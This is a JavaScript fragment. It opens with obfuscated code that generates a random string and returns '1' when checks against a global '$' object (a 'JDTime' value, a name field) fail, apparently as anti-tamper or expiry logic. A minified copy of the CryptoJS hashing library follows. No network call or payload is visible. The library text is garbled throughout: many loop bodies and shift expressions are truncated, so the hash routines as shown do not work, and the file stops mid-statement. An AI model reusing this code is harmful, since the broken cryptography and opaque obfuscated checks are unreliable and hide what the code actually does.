_0x2f6157===_0x3bcb7d;},_0x46fe39[_0x15625f(a0_0x266382._0xf816b,a0_0x266382._0x365bf6,a0_0x266382._0x2215db,0x4a1)]=_0x3db097(-a0_0x266382._0x543b22,-0xc6,a0_0x266382._0x688d30,-0x103)+_0x11f6b7(0x334,a0_0x266382._0x2e0357,0x37c,0x3dc)+_0x11f6b7(0x33e,a0_0x266382._0x51c28b,0x412,a0_0x266382._0x3b2a91),_0x46fe39[_0x3db097(-a0_0x266382._0x261b0b,-a0_0x266382._0x293f6a,a0_0x266382._0x34963d,-0x6f)]=function(_0x32a55f,_0x3978b4){return _0x32a55f==_0x3978b4;},_0x46fe39['DnjUP']='alphabet';function _0x2f366b(_0x1f241a,_0x5b6445,_0xd8d154,_0x32e202){return a0_0x20a8(_0x1f241a- -a0_0x1c8a01._0xbead7c,_0x5b6445);}_0x46fe39['vAqMq']=_0x2f366b(-a0_0x266382._0x1ae880,a0_0x266382._0x1baf79,a0_0x266382._0x4190b9,-0x77),_0x46fe39[_0x2f366b(-0x8b,a0_0x266382._0x36d988,-a0_0x266382._0x46d7ed,-0x9c)]=_0x15625f(a0_0x266382._0x60d38b,0x54f,a0_0x266382._0x526574,a0_0x266382._0x14d463)+'abcdefghij'+_0x11f6b7(a0_0x266382._0x4e7630,a0_0x266382._0xfe9583,a0_0x266382._0x4be8c2,a0_0x266382._0x401a2c)+'uvwxyzABCD'+'EFGHIJKLMN'+'OPQRSTUVWX'+'YZ_-',_0x46fe39['sjcZz']=_0x15625f(a0_0x266382._0x3a52fa,0x421,a0_0x266382._0x10f424,a0_0x266382._0x3dcefe),_0x46fe39[_0x15625f(a0_0x266382._0x36974c,a0_0x266382._0x2770b,a0_0x266382._0x28d081,0x4db)]=_0x15625f(a0_0x266382._0x24de53,a0_0x266382._0x40e89b,a0_0x266382._0x2b876b,a0_0x266382._0x4d1222),_0x46fe39[_0x2f366b(-a0_0x266382._0x15159e,'[oXA',-a0_0x266382._0x596450,-a0_0x266382._0x58ade2)]=_0x11f6b7(a0_0x266382._0x5d5e9e,a0_0x266382._0x15b54e,a0_0x266382._0x540b37,a0_0x266382._0x27fef7)+_0x2f366b(-0x7b,a0_0x266382._0x132c36,-a0_0x266382._0x7f0c09,-a0_0x266382._0x51d123)+'你',_0x46fe39[_0x15625f(0x4d6,a0_0x266382._0x20ee6f,0x4df,a0_0x266382._0x3cb2ec)]=function(_0x39ef9f,_0x291ea2){return _0x39ef9f|_0x291ea2;},_0x46fe39[_0x15625f(0x55e,0x54d,a0_0x266382._0x28f12a,a0_0x266382._0x549cd4)]=function(_0x50781c,_0x163fd2){return _0x50781c*_0x163fd2;};function _0x11f6b7(_0x555e32,_0x3db82b,_0x511f1c,_0x4f0bea){return a0_0x18ad(_0x3db82b-a0_0x46950a._0x44d851,_0x555e32);}_0x46fe39[_0x2f366b(-a0_0x266382._0x186c13,'tB5g',-a0_0x266382._0x1542a5,-a0_0x266382._0x248e83)]=function(_0x275016,_0x34303c){return _0x275016>_0x34303c;},_0x46fe39[_0x11f6b7(a0_0x266382._0x23c771,a0_0x266382._0x434b5e,a0_0x266382._0x1c65fc,a0_0x266382._0x38d336)]=function(_0x23559d,_0x5218cd){return _0x23559d!==_0x5218cd;};function _0x3db097(_0x354c97,_0xbbbb05,_0x109267,_0x2538f9){return a0_0x20a8(_0xbbbb05- -a0_0x205097._0x4dfd71,_0x109267);}const _0xb6beb1=_0x46fe39;var _0x4710ba,_0x4818a2,_0xa33853=_0xb6beb1[_0x3db097(-0x136,-a0_0x266382._0x3bdcdb,a0_0x266382._0x375be5,-a0_0x266382._0x4f610c)](void(-0xb03+0x5*-0x6f7+0x2dd6),_0x3dfc10=(_0x4818a2=_0xb6beb1[_0x2f366b(a0_0x266382._0x282b40,a0_0x266382._0x375be5,-a0_0x266382._0x15159e,0x37)](0x1beb*0x1+-0x8d6+-0x5*0x3d1,arguments[_0x15625f(0x4e4,a0_0x266382._0x486bf9,a0_0x266382._0x17dbe4,a0_0x266382._0x4d8eec)])&&_0xb6beb1[_0x15625f(0x537,a0_0x266382._0x2fb922,0x4c0,a0_0x266382._0x174091)](void(-0x252+0x1*0x737+-0x4e5*0x1),arguments[0x1*-0x259f+0x1*0x1943+0xc5c])?arguments[0x2*-0xf0b+-0x23*-0x6b+-0x527*-0x3]:{})[_0x15625f(0x47b,a0_0x266382._0x4db46f,0x4ca,a0_0x266382._0x5a5c4b)])?0xd6+0x1205*-0x2+0x1*0x233e:_0x3dfc10,_0x3dfc10=_0xb6beb1[_0x11f6b7(a0_0x266382._0x57c9d3,a0_0x266382._0x3d21bd,a0_0x266382._0x57c011,a0_0x266382._0x15a016)](void(0x1242+0x14da+-0x271c),_0x3dfc10=_0x4818a2['dictType'])?_0x3db097(-a0_0x266382._0x1d989c,-a0_0x266382._0x2a0f2b,a0_0x266382._0x5109b7,-a0_0x266382._0x24054d):_0x3dfc10,_0x5497a6='';if(_0xb6beb1[_0x3db097(-a0_0x266382._0x261ad2,-a0_0x266382._0x415cc3,a0_0x266382._0x9c8e51,-0x12b)]!==$[_0x3db097(-a0_0x266382._0x318870,-0x4f,a0_0x266382._0x491114,-a0_0x266382._0x5920f7)])return'1';if((_0x4818a2=_0x4818a2[_0x3db097(-0x1e,-a0_0x266382._0x198889,'c84)',-0x4a)])&&_0xb6beb1[_0x2f366b(-a0_0x266382._0x268602,'KUea',-a0_0x266382._0x261b0b,-a0_0x266382._0x1eae65)]('string',typeof _0x4818a2))_0x4710ba=_0x4818a2;else switch(_0x3dfc10){case _0xb6beb1[_0x11f6b7(a0_0x266382._0x59cc3f,a0_0x266382._0xe40fa3,a0_0x266382._0x4f1026,a0_0x266382._0x4bb3c2)]:_0x4710ba='abcdefghij'+_0x11f6b7(a0_0x266382._0x339be8,a0_0x266382._0x42cdfd,a0_0x266382._0xba5738,0x382)+'uvwxyzABCD'+_0x2f366b(-a0_0x266382._0x28d66f,a0_0x266382._0x316593,-a0_0x266382._0x3b87e7,-a0_0x266382._0x5032fd)+_0x15625f(a0_0x266382._0x21e78e,a0_0x266382._0x6c5c73,a0_0x266382._0x52d051,a0_0x266382._0xc887ac)+'YZ';break;case _0xb6beb1[_0x11f6b7(0x34a,a0_0x266382._0x12f37a,a0_0x266382._0x417fcb,0x2c2)]:_0x4710ba=_0xb6beb1[_0x2f366b(-a0_0x266382._0x35f744,a0_0x266382._0x26d83a,-a0_0x266382._0x3c0a7f,-a0_0x266382._0x406ead)];break;case _0xb6beb1['sjcZz']:default:_0x4710ba=_0xb6beb1['NxZCi'];}if($[_0x15625f(a0_0x266382._0x2466f9,a0_0x266382._0xc1f117,a0_0x266382._0x1bfc9a,a0_0x266382._0x10a5c9)][_0x11f6b7(a0_0x266382._0x379913,a0_0x266382._0x466d1f,a0_0x266382._0x2ba6df,a0_0x266382._0x3f40ea)](_0xb6beb1[_0x15625f(a0_0x266382._0x2fe893,0x4d2,0x519,0x4fd)])===-(-0x1ea5+-0x1309+0x31af))return'1';for(;_0xa33853--;)_0x5497a6+=_0x4710ba[_0xb6beb1[_0x15625f(a0_0x266382._0x3cad96,0x4b6,a0_0x266382._0x421a77,0x49b)](_0xb6beb1[_0x11f6b7(a0_0x266382._0x2d2350,a0_0x266382._0x14b0b8,a0_0x266382._0xa30b92,0x3c2)](Math[_0x3db097(-a0_0x266382._0x1d2246,-a0_0x266382._0x1e935d,a0_0x266382._0x374452,-a0_0x266382._0x5e8455)](),_0x4710ba['length']),0x22a6*0x1+0x324+-0x25ca)];if(_0xb6beb1['KeMhl']($['JDTime']||new Date()[_0x15625f(a0_0x266382._0x3c60c9,a0_0x266382._0x50419b,a0_0x266382._0x22b2a3,a0_0x266382._0x5e72fe)](),-0x1ab9*0x1c87c81d+-0x58203e6ce7+0x4d4f246bff4))return'1';if(_0xb6beb1[_0x3db097(-0x134,-a0_0x266382._0x375884,'AcOM',-0x114)](_0xb6beb1[_0x15625f(a0_0x266382._0x288b79,0x494,0x49a,0x4a1)],$[_0x2f366b(-a0_0x266382._0x39d020,a0_0x266382._0x3af7fd,-0xa,-a0_0x266382._0x45644f)]))return'1';return _0x5497a6;} - -function CryptoScripts() { - // prettier-ignore - !function(t,e){'object'==typeof exports?module.exports=exports=e():'function'==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var t,e,r,i,n,o,s,c,a,h,l,f,d,u,p,_,v,y,g,B,w,k,S,m,x,b,H,z,A,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,mt=mt||function(t){var e;if('undefined'!=typeof window&&window.crypto&&(e=window.crypto),!e&&'undefined'!=typeof window&&window.msCrypto&&(e=window.msCrypto),!e&&'undefined'!=typeof global&&global.crypto&&(e=global.crypto),!e&&'function'==typeof require)try{e=require('crypto')}catch(e){}function r(){if(e){if('function'==typeof e.getRandomValues)try{return e.getRandomValues(new Uint32Array(1))[0]}catch(t){}if('function'==typeof e.randomBytes)try{return e.randomBytes(4).readInt32LE()}catch(t){}}throw new Error('Native crypto module could not be used to get secure random number.')}var i=Object.create||function(t){var e;return n.prototype=t,e=new n,n.prototype=null,e};function n(){}var o={},s=o.lib={},c=s.Base={extend:function(t){var e=i(this);return t&&e.mixIn(t),e.hasOwnProperty('init')&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty('toString')&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},a=s.WordArray=c.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:4*t.length},toString:function(t){return(t||l).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o>>2]>>>24-o%4*8&255;e[i+o>>>2]|=s<<24-(i+o)%4*8}else for(o=0;o>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var e=this.words,r=this.sigBytes;e[r>>>2]&=4294967295<<32-r%4*8,e.length=t.ceil(r/4)},clone:function(){var t=c.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],i=0;i>>2]>>>24-n%4*8&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join('')},parse:function(t){for(var e=t.length,r=[],i=0;i>>3]|=parseInt(t.substr(i,2),16)<<24-i%8*4;return new a.init(r,e/2)}},f=h.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>24-n%4*8&255;i.push(String.fromCharCode(o))}return i.join('')},parse:function(t){for(var e=t.length,r=[],i=0;i>>2]|=(255&t.charCodeAt(i))<<24-i%4*8;return new a.init(r,e)}},d=h.Utf8={stringify:function(t){try{return decodeURIComponent(escape(f.stringify(t)))}catch(t){throw new Error('Malformed UTF-8 data')}},parse:function(t){return f.parse(unescape(encodeURIComponent(t)))}},u=s.BufferedBlockAlgorithm=c.extend({reset:function(){this._data=new a.init,this._nDataBytes=0},_append:function(t){'string'==typeof t&&(t=d.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(e){var r,i=this._data,n=i.words,o=i.sigBytes,s=this.blockSize,c=o/(4*s),h=(c=e?t.ceil(c):t.max((0|c)-this._minBufferSize,0))*s,l=t.min(4*h,o);if(h){for(var f=0;f>>32-e}function Dt(t,e,r,i){var n,o=this._iv;o?(n=o.slice(0),this._iv=void 0):n=this._prevBlock,i.encryptBlock(n,0);for(var s=0;s>24&255)){var e=t>>16&255,r=t>>8&255,i=255&t;255===e?(e=0,255===r?(r=0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);dt[r]=s^c}t[0]=dt[0]+(dt[7]<<16|dt[7]>>>16)+(dt[6]<<16|dt[6]>>>16)|0,t[1]=dt[1]+(dt[0]<<8|dt[0]>>>24)+dt[7]|0,t[2]=dt[2]+(dt[1]<<16|dt[1]>>>16)+(dt[0]<<16|dt[0]>>>16)|0,t[3]=dt[3]+(dt[2]<<8|dt[2]>>>24)+dt[1]|0,t[4]=dt[4]+(dt[3]<<16|dt[3]>>>16)+(dt[2]<<16|dt[2]>>>16)|0,t[5]=dt[5]+(dt[4]<<8|dt[4]>>>24)+dt[3]|0,t[6]=dt[6]+(dt[5]<<16|dt[5]>>>16)+(dt[4]<<16|dt[4]>>>16)|0,t[7]=dt[7]+(dt[6]<<8|dt[6]>>>24)+dt[5]|0}function Mt(){for(var t=this._X,e=this._C,r=0;r<8;r++)wt[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);kt[r]=s^c}t[0]=kt[0]+(kt[7]<<16|kt[7]>>>16)+(kt[6]<<16|kt[6]>>>16)|0,t[1]=kt[1]+(kt[0]<<8|kt[0]>>>24)+kt[7]|0,t[2]=kt[2]+(kt[1]<<16|kt[1]>>>16)+(kt[0]<<16|kt[0]>>>16)|0,t[3]=kt[3]+(kt[2]<<8|kt[2]>>>24)+kt[1]|0,t[4]=kt[4]+(kt[3]<<16|kt[3]>>>16)+(kt[2]<<16|kt[2]>>>16)|0,t[5]=kt[5]+(kt[4]<<8|kt[4]>>>24)+kt[3]|0,t[6]=kt[6]+(kt[5]<<16|kt[5]>>>16)+(kt[4]<<16|kt[4]>>>16)|0,t[7]=kt[7]+(kt[6]<<8|kt[6]>>>24)+kt[5]|0}return t=mt.lib.WordArray,mt.enc.Base64={stringify:function(t){var e=t.words,r=t.sigBytes,i=this._map;t.clamp();for(var n=[],o=0;o>>2]>>>24-o%4*8&255)<<16|(e[o+1>>>2]>>>24-(o+1)%4*8&255)<<8|e[o+2>>>2]>>>24-(o+2)%4*8&255,c=0;c<4&&o+.75*c>>6*(3-c)&63));var a=i.charAt(64);if(a)for(;n.length%4;)n.push(a);return n.join('')},parse:function(e){var r=e.length,i=this._map,n=this._reverseMap;if(!n){n=this._reverseMap=[];for(var o=0;o>>6-s%4*2;n[o>>>2]|=c<<24-o%4*8,o++}return t.create(n,o)}(e,r,n)},_map:'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='},function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[];!function(){for(var e=0;e<64;e++)s[e]=4294967296*t.abs(t.sin(e+1))|0}();var c=o.MD5=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o=this._hash.words,c=t[e+0],d=t[e+1],u=t[e+2],p=t[e+3],_=t[e+4],v=t[e+5],y=t[e+6],g=t[e+7],B=t[e+8],w=t[e+9],k=t[e+10],S=t[e+11],m=t[e+12],x=t[e+13],b=t[e+14],H=t[e+15],z=o[0],A=o[1],C=o[2],D=o[3];z=f(z=l(z=l(z=l(z=l(z=h(z=h(z=h(z=h(z=a(z=a(z=a(z=a(z,A,C,D,c,7,s[0]),A=a(A,C=a(C,D=a(D,z,A,C,d,12,s[1]),z,A,u,17,s[2]),D,z,p,22,s[3]),C,D,_,7,s[4]),A=a(A,C=a(C,D=a(D,z,A,C,v,12,s[5]),z,A,y,17,s[6]),D,z,g,22,s[7]),C,D,B,7,s[8]),A=a(A,C=a(C,D=a(D,z,A,C,w,12,s[9]),z,A,k,17,s[10]),D,z,S,22,s[11]),C,D,m,7,s[12]),A=a(A,C=a(C,D=a(D,z,A,C,x,12,s[13]),z,A,b,17,s[14]),D,z,H,22,s[15]),C,D,d,5,s[16]),A=h(A,C=h(C,D=h(D,z,A,C,y,9,s[17]),z,A,S,14,s[18]),D,z,c,20,s[19]),C,D,v,5,s[20]),A=h(A,C=h(C,D=h(D,z,A,C,k,9,s[21]),z,A,H,14,s[22]),D,z,_,20,s[23]),C,D,w,5,s[24]),A=h(A,C=h(C,D=h(D,z,A,C,b,9,s[25]),z,A,p,14,s[26]),D,z,B,20,s[27]),C,D,x,5,s[28]),A=h(A,C=h(C,D=h(D,z,A,C,u,9,s[29]),z,A,g,14,s[30]),D,z,m,20,s[31]),C,D,v,4,s[32]),A=l(A,C=l(C,D=l(D,z,A,C,B,11,s[33]),z,A,S,16,s[34]),D,z,b,23,s[35]),C,D,d,4,s[36]),A=l(A,C=l(C,D=l(D,z,A,C,_,11,s[37]),z,A,g,16,s[38]),D,z,k,23,s[39]),C,D,x,4,s[40]),A=l(A,C=l(C,D=l(D,z,A,C,c,11,s[41]),z,A,p,16,s[42]),D,z,y,23,s[43]),C,D,w,4,s[44]),A=l(A,C=l(C,D=l(D,z,A,C,m,11,s[45]),z,A,H,16,s[46]),D,z,u,23,s[47]),C,D,c,6,s[48]),A=f(A=f(A=f(A=f(A,C=f(C,D=f(D,z,A,C,g,10,s[49]),z,A,b,15,s[50]),D,z,v,21,s[51]),C=f(C,D=f(D,z=f(z,A,C,D,m,6,s[52]),A,C,p,10,s[53]),z,A,k,15,s[54]),D,z,d,21,s[55]),C=f(C,D=f(D,z=f(z,A,C,D,B,6,s[56]),A,C,H,10,s[57]),z,A,y,15,s[58]),D,z,x,21,s[59]),C=f(C,D=f(D,z=f(z,A,C,D,_,6,s[60]),A,C,S,10,s[61]),z,A,u,15,s[62]),D,z,w,21,s[63]),o[0]=o[0]+z|0,o[1]=o[1]+A|0,o[2]=o[2]+C|0,o[3]=o[3]+D|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;r[n>>>5]|=128<<24-n%32;var o=t.floor(i/4294967296),s=i;r[15+(64+n>>>9<<4)]=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),r[14+(64+n>>>9<<4)]=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),e.sigBytes=4*(r.length+1),this._process();for(var c=this._hash,a=c.words,h=0;h<4;h++){var l=a[h];a[h]=16711935&(l<<8|l>>>24)|4278255360&(l<<24|l>>>8)}return c},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});function a(t,e,r,i,n,o,s){var c=t+(e&r|~e&i)+n+s;return(c<>>32-o)+e}function h(t,e,r,i,n,o,s){var c=t+(e&i|r&~i)+n+s;return(c<>>32-o)+e}function l(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<>>32-o)+e}function f(t,e,r,i,n,o,s){var c=t+(r^(e|~i))+n+s;return(c<>>32-o)+e}e.MD5=n._createHelper(c),e.HmacMD5=n._createHmacHelper(c)}(Math),r=(e=mt).lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=o.SHA1=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],c=r[3],a=r[4],h=0;h<80;h++){if(h<16)s[h]=0|t[e+h];else{var l=s[h-3]^s[h-8]^s[h-14]^s[h-16];s[h]=l<<1|l>>>31}var f=(i<<5|i>>>27)+a+s[h];f+=h<20?1518500249+(n&o|~n&c):h<40?1859775393+(n^o^c):h<60?(n&o|n&c|o&c)-1894007588:(n^o^c)-899497514,a=c,c=o,o=n<<30|n>>>2,n=i,i=f}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+c|0,r[4]=r[4]+a|0},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=Math.floor(r/4294967296),e[15+(64+i>>>9<<4)]=r,t.sigBytes=4*e.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}}),e.SHA1=n._createHelper(c),e.HmacSHA1=n._createHmacHelper(c),function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=[];!function(){function e(e){for(var r=t.sqrt(e),i=2;i<=r;i++)if(!(e%i))return;return 1}function r(t){return 4294967296*(t-(0|t))|0}for(var i=2,n=0;n<64;)e(i)&&(n<8&&(s[n]=r(t.pow(i,.5))),c[n]=r(t.pow(i,1/3)),n++),i++}();var a=[],h=o.SHA256=n.extend({_doReset:function(){this._hash=new i.init(s.slice(0))},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=0;u<64;u++){if(u<16)a[u]=0|t[e+u];else{var p=a[u-15],_=(p<<25|p>>>7)^(p<<14|p>>>18)^p>>>3,v=a[u-2],y=(v<<15|v>>>17)^(v<<13|v>>>19)^v>>>10;a[u]=_+a[u-7]+y+a[u-16]}var g=i&n^i&o^n&o,B=(i<<30|i>>>2)^(i<<19|i>>>13)^(i<<10|i>>>22),w=d+((h<<26|h>>>6)^(h<<21|h>>>11)^(h<<7|h>>>25))+(h&l^~h&f)+c[u]+a[u];d=f,f=l,l=h,h=s+w|0,s=o,o=n,n=i,i=w+(B+g)|0}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+s|0,r[4]=r[4]+h|0,r[5]=r[5]+l|0,r[6]=r[6]+f|0,r[7]=r[7]+d|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;return r[n>>>5]|=128<<24-n%32,r[14+(64+n>>>9<<4)]=t.floor(i/4294967296),r[15+(64+n>>>9<<4)]=i,e.sigBytes=4*r.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});e.SHA256=n._createHelper(h),e.HmacSHA256=n._createHmacHelper(h)}(Math),function(){var t=mt.lib.WordArray,e=mt.enc;function r(t){return t<<8&4278255360|t>>>8&16711935}e.Utf16=e.Utf16BE={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>16-n%4*8&65535;i.push(String.fromCharCode(o))}return i.join('')},parse:function(e){for(var r=e.length,i=[],n=0;n>>1]|=e.charCodeAt(n)<<16-n%2*16;return t.create(i,2*r)}},e.Utf16LE={stringify:function(t){for(var e=t.words,i=t.sigBytes,n=[],o=0;o>>2]>>>16-o%4*8&65535);n.push(String.fromCharCode(s))}return n.join('')},parse:function(e){for(var i=e.length,n=[],o=0;o>>1]|=r(e.charCodeAt(o)<<16-o%2*16);return t.create(n,2*i)}}}(),function(){if('function'==typeof ArrayBuffer){var t=mt.lib.WordArray,e=t.init;(t.init=function(t){if(t instanceof ArrayBuffer&&(t=new Uint8Array(t)),(t instanceof Int8Array||'undefined'!=typeof Uint8ClampedArray&&t instanceof Uint8ClampedArray||t instanceof Int16Array||t instanceof Uint16Array||t instanceof Int32Array||t instanceof Uint32Array||t instanceof Float32Array||t instanceof Float64Array)&&(t=new Uint8Array(t.buffer,t.byteOffset,t.byteLength)),t instanceof Uint8Array){for(var r=t.byteLength,i=[],n=0;n>>2]|=t[n]<<24-n%4*8;e.call(this,i,r)}else e.apply(this,arguments)}).prototype=t}}(),Math,h=(a=mt).lib,l=h.WordArray,f=h.Hasher,d=a.algo,u=l.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13]),p=l.create([5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11]),_=l.create([11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6]),v=l.create([8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]),y=l.create([0,1518500249,1859775393,2400959708,2840853838]),g=l.create([1352829926,1548603684,1836072691,2053994217,0]),B=d.RIPEMD160=f.extend({_doReset:function(){this._hash=l.create([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o,s,c,a,h,l,f,d,B,w,k,S=this._hash.words,m=y.words,x=g.words,b=u.words,H=p.words,z=_.words,A=v.words;for(l=o=S[0],f=s=S[1],d=c=S[2],B=a=S[3],w=h=S[4],r=0;r<80;r+=1)k=o+t[e+b[r]]|0,k+=r<16?xt(s,c,a)+m[0]:r<32?bt(s,c,a)+m[1]:r<48?Ht(s,c,a)+m[2]:r<64?zt(s,c,a)+m[3]:At(s,c,a)+m[4],k=(k=Ct(k|=0,z[r]))+h|0,o=h,h=a,a=Ct(c,10),c=s,s=k,k=l+t[e+H[r]]|0,k+=r<16?At(f,d,B)+x[0]:r<32?zt(f,d,B)+x[1]:r<48?Ht(f,d,B)+x[2]:r<64?bt(f,d,B)+x[3]:xt(f,d,B)+x[4],k=(k=Ct(k|=0,A[r]))+w|0,l=w,w=B,B=Ct(d,10),d=f,f=k;k=S[1]+c+B|0,S[1]=S[2]+a+w|0,S[2]=S[3]+h+l|0,S[3]=S[4]+o+f|0,S[4]=S[0]+s+d|0,S[0]=k},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8),t.sigBytes=4*(e.length+1),this._process();for(var n=this._hash,o=n.words,s=0;s<5;s++){var c=o[s];o[s]=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8)}return n},clone:function(){var t=f.clone.call(this);return t._hash=this._hash.clone(),t}}),a.RIPEMD160=f._createHelper(B),a.HmacRIPEMD160=f._createHmacHelper(B),w=mt.lib.Base,k=mt.enc.Utf8,mt.algo.HMAC=w.extend({init:function(t,e){t=this._hasher=new t.init,'string'==typeof e&&(e=k.parse(e));var r=t.blockSize,i=4*r;e.sigBytes>i&&(e=t.finalize(e)),e.clamp();for(var n=this._oKey=e.clone(),o=this._iKey=e.clone(),s=n.words,c=o.words,a=0;a>>24)|4278255360&(o<<24|o>>>8),s=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),(A=r[n]).high^=s,A.low^=o}for(var f=0;f<24;f++){for(var d=0;d<5;d++){for(var u=0,p=0,_=0;_<5;_++)u^=(A=r[d+5*_]).high,p^=A.low;var v=l[d];v.high=u,v.low=p}for(d=0;d<5;d++){var y=l[(d+4)%5],g=l[(d+1)%5],B=g.high,w=g.low;for(u=y.high^(B<<1|w>>>31),p=y.low^(w<<1|B>>>31),_=0;_<5;_++)(A=r[d+5*_]).high^=u,A.low^=p}for(var k=1;k<25;k++){var S=(A=r[k]).high,m=A.low,x=c[k];p=x<32?(u=S<>>32-x,m<>>32-x):(u=m<>>64-x,S<>>64-x);var b=l[a[k]];b.high=u,b.low=p}var H=l[0],z=r[0];for(H.high=z.high,H.low=z.low,d=0;d<5;d++)for(_=0;_<5;_++){var A=r[k=d+5*_],C=l[k],D=l[(d+1)%5+5*_],E=l[(d+2)%5+5*_];A.high=C.high^~D.high&E.high,A.low=C.low^~D.low&E.low}A=r[0];var 